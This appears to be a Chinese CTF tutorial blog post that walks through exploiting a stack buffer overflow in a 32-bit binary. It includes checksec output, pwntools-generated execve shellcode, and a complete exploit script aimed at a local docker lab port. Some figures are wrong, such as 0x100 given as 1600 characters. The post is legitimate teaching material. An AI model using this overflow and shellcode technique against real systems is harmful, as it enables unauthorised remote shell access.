摘要

本文讲述的是PWN中利用溢出漏洞来执行shell命令的方法教程,本文将以简单的小程序来作为演示,从分析程序到编写payload加以利用,其中还含有二进制程序的保护机制简介。

0x01 前言

经过前面的几篇文章我们大概以及了解了基本的栈溢出漏洞的利用方式,那今天就来个进阶版。有时候我们在打CTF的时候需要的是获取系统shell,然后通过shell去拿到flag,那么我们该怎么通过溢出漏洞来拿到服务器的shell呢?这就是我们今天要讲的东西了。

本文的例子程序是pwn2程序,因为需要演示获取shell,我将该程序搭建到了docker中,并且使用了socat进行了端口转发,使用pwntools中的reomte()函数可以直接连接执行。

0x02 二进制程序的保护机制

在Linux下,二进制程序在编译的时候是可以指定保护机制的,例如禁止堆栈执行,下面介绍kali下的二进制保护检测工具——checksec。

下面先来演示一下该命令的用法,很简单,一句话而已。

root@kTWO:~/pwn/docker_lib/pwn# checksec pwn2

[!] Pwntools does not support 32-bit Python. Use a 64-bit release.

[*] '/root/pwn/docker_lib/pwn/pwn2'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x8048000)

RWX: Has RWX segments

1

2

3

4

5

6

7

8

9

root@kTWO:~/pwn/docker_lib/pwn# checksec pwn2

[!]Pwntoolsdoesnotsupport32-bitPython.Usea64-bitrelease.

[*]'/root/pwn/docker_lib/pwn/pwn2'

Arch:i386-32-little

RELRO:PartialRELRO

Stack:Nocanaryfound

NX:NXdisabled

PIE:NoPIE(0x8048000)

RWX:HasRWXsegments

首先解释一下上面的几项参数:

Arch,该项位程序的位数,显示位32位程序。

RELRO,RELRO会有Partial RELRO和FULL RELRO,如果开启了FULL RELRO,那么我们将无法修改got表,关于got表后面的文章遇到了再讲解。

Stack,栈中是否开启了Canary found,如果该项保护被打开那么我们将无法直接覆盖EIP让程序任意跳转,因为在跳转后将会进行cookie校验,该项保护是可以绕过的,遇到的时候将详细分析。

NX,该项表示堆栈是否可执行,如果开启了该项保护,那么我们的shellcode将不能被执行。

PIE,该项表示地址随机化保护,如果开启了该项那么程序每次运行的地址都会变化,如果未开启那么No PIE(0x8048000)括号内的代表程序基址。

今天我们关注的点是NX,从检查结果中可以看到,程序基本没有开启任何保护,所以我们的发挥空间是很大的。

0x03 程序分析

同之前的教程一样,首先我们要判定程序的位数,然后运行查看,然后拖进IDA进行静态分析。本文程序pwn2位32位,下面是IDA分析的主要截图:

上面是main函数的逆向截图,基本没有什么信息,重要的是foo函数。

foo函数很简单,就几行代码而已,只完成了基本的打印和读入操作。

本程序的重点是要拿到shell权限,那我们的重点就是要想办法通过read函数溢出来获取到shell。程序中可以看到,首先声明了一个char buf变量,一个单字节变量,下面的printf函数打印了buf的地址,然后调用了read函数从键盘读取(0是键盘输入的文件描述符),然后将输入的数据存到了buf内存中,可输入的字符大小位0x100u,也就是无符号的1600个字符,那么问题来了,我们的buf只有1字节,但是却可以读入那么多的字符,肯定会造成程序的溢出,所以该处产生溢出。

既然我们要获取到shell,那么我们可以尝试让程序执行我们的代码,在C中我们创建一个新进程的代码如下:

C

char *argv[]={"sh", NULL};

char *envp[]={0,NULL};

execve("/bin/ls",argv,envp);

1

2

3

char*argv[]={"sh",NULL};

char*envp[]={0,NULL};

execve("/bin/ls",argv,envp);

所以我们只要编写shellcode汇编代码注入到该程序中并且执行,我们就可以拿到一个shell。

什么是shellcode?

shellcode就是一段二进制代码,程序中最进本单元,我们一般无法手动写出,通常是通过编写c语言代码进行编译,然后反汇编后拿到二进制代码。在pwntools中已经包含了可以生成shellcode代码的方法,大大缩减了我们的工作量。

0x04 函数栈分析

函数栈和前面的两个程序是相同的,如下:

栈中的s就是我们程序中的buf变量,当溢出的时候可以往高字节延申,因为没有开启栈保护和NX保护,所以我们可以控制函数的返回地址,以及在栈中运行我们的shellcode,那么我们该如何让shellcode注入并运行呢?

我们看到了EIP是返回地址,那如果我们将a1作为我们的shellcode首地址是否可行呢?答案是可行了,我们只要控制EIP的数值为a1单元所在的地址即可,也就是和EIP的地址加上4字节(栈中一般是4字节的距离)。那么我们可以开始编写payload和shellcode了。

0x05 编写Payload和shellcode

同之前一样,buf变量到EIP的距离为:buf的地址+0x1C + 0x4 = 0x20,那么我们要计算跳转的地址为0x20 + 0x4 = 0x24,也就是说a1的距离到buf的距离是0x24,buf的地址在程序运行的时候已经给出了,那么我们的基本Payload为:

bufAddr = pwn.recvline()

bufAddr = int(bufAddr[:-1],16)

payload = 'A' * 0x1C + 'A' * 0x4

1

2

3

bufAddr=pwn.recvline()

bufAddr=int(bufAddr[:-1],16)

payload='A'*0x1C+'A'*0x4

那就差我们的shellcode了,我们可以直接使用pwntools中的shellcode生成方法,这里要区分32和64位,基本生成方法如下:

32位:

context(os='linux',arch='i386',log_level='debug')

asm(shellcraft.i386.linux.sh())

64位:

context(os='linux',arch='amd64',log_level='debug')

asm(shellcraft.amd64.linux.sh())

1

2

3

4

5

6

7

32位:

context(os='linux',arch='i386',log_level='debug')

asm(shellcraft.i386.linux.sh())

64位:

context(os='linux',arch='amd64',log_level='debug')

asm(shellcraft.amd64.linux.sh())

context是设置环境用的,因为汇编是区分32位和64位的,所以要使用不同的环境来进行转换。下面我们看一下全本的shellcode是怎样的:

/* execve(path='/bin///sh', argv=['sh'], envp=0) */

/* push '/bin///sh\x00' */

push 0x68

push 0x732f2f2f

push 0x6e69622f

mov ebx, esp

/* push argument array ['sh\x00'] */

/* push 'sh\x00\x00' */

push 0x1010101

xor dword ptr [esp], 0x1016972

xor ecx, ecx

push ecx /* null terminate */

push 4

pop ecx

add ecx, esp

push ecx /* 'sh\x00' */

mov ecx, esp

xor edx, edx

/* call execve() */

push SYS_execve /* 0xb */

pop eax

int 0x80

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

/* execve(path='/bin///sh', argv=['sh'], envp=0) */

/* push '/bin///sh\x00' */

push0x68

push0x732f2f2f

push0x6e69622f

movebx,esp

/* push argument array ['sh\x00'] */

/* push 'sh\x00\x00' */

push0x1010101

xordwordptr[esp],0x1016972

xorecx,ecx

pushecx/* null terminate */

push4

popecx

addecx,esp

pushecx/* 'sh\x00' */

movecx,esp

xoredx,edx

/* call execve() */

pushSYS_execve/* 0xb */

popeax

int0x80

上面的内容是32位的shellcraft.i386.linux.sh()生成的,我们要通过asm转化为字符串如下:

jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80

1

jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80

所以只要将上面的字符串加到payload上就可以以构成一个完整的payload了。全部的脚本代码如下:

pwn2Crack.py

Python

#-*- coding: utf-8 -*-

from pwn import *

context(os='linux',arch='i386',log_level='debug')

#pwn = process('./pwn2')

#docker转发到本地的端口32780

pwn = remote("127.0.0.1",32780)

bufAddr = pwn.recvline()

bufAddr = int(bufAddr[:-1],16)

payload = 'A' * 0x1C + 'A' * 0x4

#生成shellcode

shell = asm(shellcraft.i386.linux.sh())

#计算长度

shellAddr = bufAddr + len(payload) + 0x4

payload += p32(shellAddr)

payload += shell

pwn.sendline(payload)

#将程序控制权交给用户,相当于自用运行

pwn.interactive()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

#-*- coding: utf-8 -*-

frompwnimport*

context(os='linux',arch='i386',log_level='debug')

#pwn  = process('./pwn2')

#docker转发到本地的端口32780

pwn=remote("127.0.0.1",32780)

bufAddr=pwn.recvline()

bufAddr=int(bufAddr[:-1],16)

payload='A'*0x1C+'A'*0x4

#生成shellcode

shell=asm(shellcraft.i386.linux.sh())

#计算长度

shellAddr=bufAddr+len(payload)+0x4

payload+=p32(shellAddr)

payload+=shell

pwn.sendline(payload)

#将程序控制权交给用户,相当于自用运行

pwn.interactive()

运行后的结果如下:

从图中我们可以看到已经拿到shell并成功执行了whoami命令,然后返回的结果位pwn,我们已经成功拿到了服务器的shell,可以为所欲为了。

0x06 总结

本文涉及到的东西有点多,首先我们讲解了二进制程序中的保护机制,然后我们分析程序发现了read方法中存在的溢出漏洞,最后我们分析函数栈发现可以注入我们自己的shellcode,控制程序跳转到该shellcode的地址即可,最终拿到了该题目的shell权限。

本文程序下载(密码:akcz):

linux栈溢出漏洞,PWN简单栈溢出漏洞获取shell | kTWO-个人博客相关推荐

  1. 转载: linux awk 一看就懂 - 薰衣草的旋律 - 博客园

    转载: linux awk 一看就懂 - 薰衣草的旋律 - 博客园 https://www.cnblogs.com/wangqiguo/p/5863266.html 阅读目录 awk是什么 awk命令 ...

  2. 个人博客网站html源码_最新0成本简单使用CODING Pages搭建Gridea个人博客网站详细教程...

    直接0成本简单使用CODING Pages免费搭建Gridea个人博客网站,不需要购买域名也不需要购买服务器就可以搭建自己的博客 教程开始 gridea官网 gridea.devcoding 官网 e ...

  3. v57.02 鸿蒙内核源码分析(编译过程) | 简单案例说透中间过程 | 百篇博客分析HarmonyOS源码

    子畏于匡,颜渊后.子曰:"吾以女为死矣."曰:"子在,回何敢死?" <论语>:先进篇 百篇博客系列篇.本篇为: v57.xx 鸿蒙内核源码分析(编译 ...

  4. 永恒之蓝漏洞利用(MS17-010)获取shell 及获取靶机屏幕截图

    永恒之蓝漏洞利用(MS17-010) 文章目录 永恒之蓝漏洞利用(MS17-010) 一.永恒之蓝(MS17-010)介绍 二.漏洞利用 1.检测目标主机是否存在MS17-010漏洞 2.使用msf攻 ...

  5. 小米系统shell_获取linux系统信息shell | 小米的博客

    本文是对于系统管理员来说非常有帮助的一个获取linux系统详细信息的shell脚本. #!/bin/bash if [[ -f /usr/bin/lsb_release ]]; then OS=$(/ ...

  6. 再生龙u盘复制linux,再生龙制作U盘启动盘教程 | 楚盟博客

    再生龙是备份linux系统的利器,本人也是小白试过多种备份方法可能技艺不精备份没问题但是还原总是遇到各种各样的问题,不过使用再生龙非常得心应手,备份多次linux系统也顺利的进行了系统还原,就像win ...

  7. 再生龙制作u盘启动linux,再生龙制作U盘启动盘教程 | 楚盟博客

    再生龙是备份linux系统的利器,本人也是小白试过多种备份方法可能技艺不精备份没问题但是还原总是遇到各种各样的问题,不过使用再生龙非常得心应手,备份多次linux系统也顺利的进行了系统还原,就像win ...

  8. linux 打开文件表 文件描述符,文件描述符-mjsc1023-ChinaUnix博客

    是个很小的正整数,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表. 文件描述符及其作用 对于 Linux 而言,所有对设备和文件的操作都使用文件描述符来进行的.文件描述符是一个非负 ...

  9. linux新建用户,用户组,以及权限的分配(摘自博客园)

    linux新建用户,用户组,以及权限的分配 原文url:https://www.cnblogs.com/clicli/p/5943788.html Linux 系统是一个多用户多任务的分时操作系统,任 ...

最新文章

  1. NYOJ 469 擅长排列的小明 II (dp问题)
  2. 【OpenCV】8邻域种子填充法剔除短连通域的高效算法
  3. sql server中的decimal或者numeric的精度问题 (转载)
  4. Hibernate关联映射-数据对象三种关系
  5. java list 比较_Java中List的五种去重方法及效率对比,你都用对了吗?
  6. Spring MVC源码分析(一) 说明
  7. Alain 菜单权限控制
  8. iPhone清理喇叭灰尘_手机喇叭用久了灰尘多,与其经常换手机,不如自己动手清理...
  9. 51单片机学习笔记【九】——红外通信实验
  10. DEJA_VU3D - Cesium功能集 之 050-纯前端空间体体积计算
  11. 日期转换和日历的使用方法
  12. 基于android的理财软件,基于Android的理财系统APP的设计
  13. 黄铭钧:院长创业与酒
  14. office中计算机剪贴画,Office 2010的剪贴画
  15. Android简单计时器详解(Timer)
  16. 如何创建二维数组 微信小程序_微信小程序遍历二维数组
  17. Greedy:Cleaning Shifts(POJ 2376)
  18. 苹果三代耳机_苹果准备三款AirPods耳机:Pro取消耳机柄、AirPods3改入耳式设计
  19. python之getattr()函数
  20. CC0与商业IP:哪个更好?

热门文章

  1. Python3读取txt数据
  2. oracle总结之九———约束
  3. Linux中fork创建兄弟子进程,验证进程之间全局变量不共享,exec函数族
  4. 星外服务器显示,星外虚拟主机管理系统关于权限的综合说明
  5. 仿生实验、柔性机器人实验之磁场发生亥姆霍兹线圈
  6. 语音识别基础(二):语音识别方法
  7. 记录一次曲折的开发经历
  8. 人工智能市值排名 2020_苹果市值万亿美元,相当于37个小米,几个华为?
  9. 感谢折磨你的人 (素质教育专题讲座)
  10. Office2003与Office2010共存